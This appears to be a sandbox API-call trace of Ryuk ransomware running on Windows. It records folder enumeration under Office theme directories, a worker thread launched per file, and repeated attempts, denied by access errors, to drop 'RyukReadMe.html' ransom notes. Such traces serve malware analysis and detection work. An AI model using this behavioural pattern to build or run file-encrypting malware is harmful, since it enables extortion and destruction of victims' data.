	[0162.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.231] GetLastError () returned 0x5
	[0162.231] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0162.231] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.231] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1
	[0162.232] SetLastError (dwErrCode=0x0) 
	[0162.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.232] GetLastError () returned 0x5
	[0162.232] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0162.232] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0162.233] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.233] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x8e, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1
	[0162.233] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0162.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4
	[0162.508] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.509] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x8e, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1
	[0162.509] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0162.510] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8
	[0162.514] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.514] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0162.514] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0162.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc
	[0162.517] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.517] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0162.517] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0162.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0
	[0162.520] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.521] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0162.522] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0162.522] SetLastError (dwErrCode=0x0) 
	[0162.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.523] GetLastError () returned 0x5
	[0162.523] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0162.523] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.523] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1
	[0162.523] SetLastError (dwErrCode=0x0) 
	[0162.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.524] GetLastError () returned 0x5
	[0162.524] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0162.524] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.525] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0162.586] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.586] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1
	[0162.587] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0162.587] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4
	[0162.590] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.591] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1
	[0162.591] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0162.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8
	[0162.594] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.595] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0162.595] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0162.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec
	[0162.598] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.599] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0162.599] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0162.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0
	[0163.136] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.137] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0163.137] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0163.137] SetLastError (dwErrCode=0x0) 
	[0163.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.137] GetLastError () returned 0x5
	[0163.138] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0163.138] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.138] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1
	[0163.138] SetLastError (dwErrCode=0x0) 
	[0163.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.138] GetLastError () returned 0x5
	[0163.138] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0163.138] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.138] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0163.351] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.351] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1
	[0163.351] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4
	[0163.354] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.354] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1
	[0163.354] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.355] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8
	[0163.357] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.358] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0163.358] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc
	[0163.360] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.361] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0163.361] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.361] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700
	[0163.363] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.364] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0163.364] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0163.364] SetLastError (dwErrCode=0x0) 
	[0163.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.365] GetLastError () returned 0x5
	[0163.365] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0163.365] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.365] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1
	[0163.365] SetLastError (dwErrCode=0x0) 
	[0163.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.366] GetLastError () returned 0x5
	[0163.366] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0163.366] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.366] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
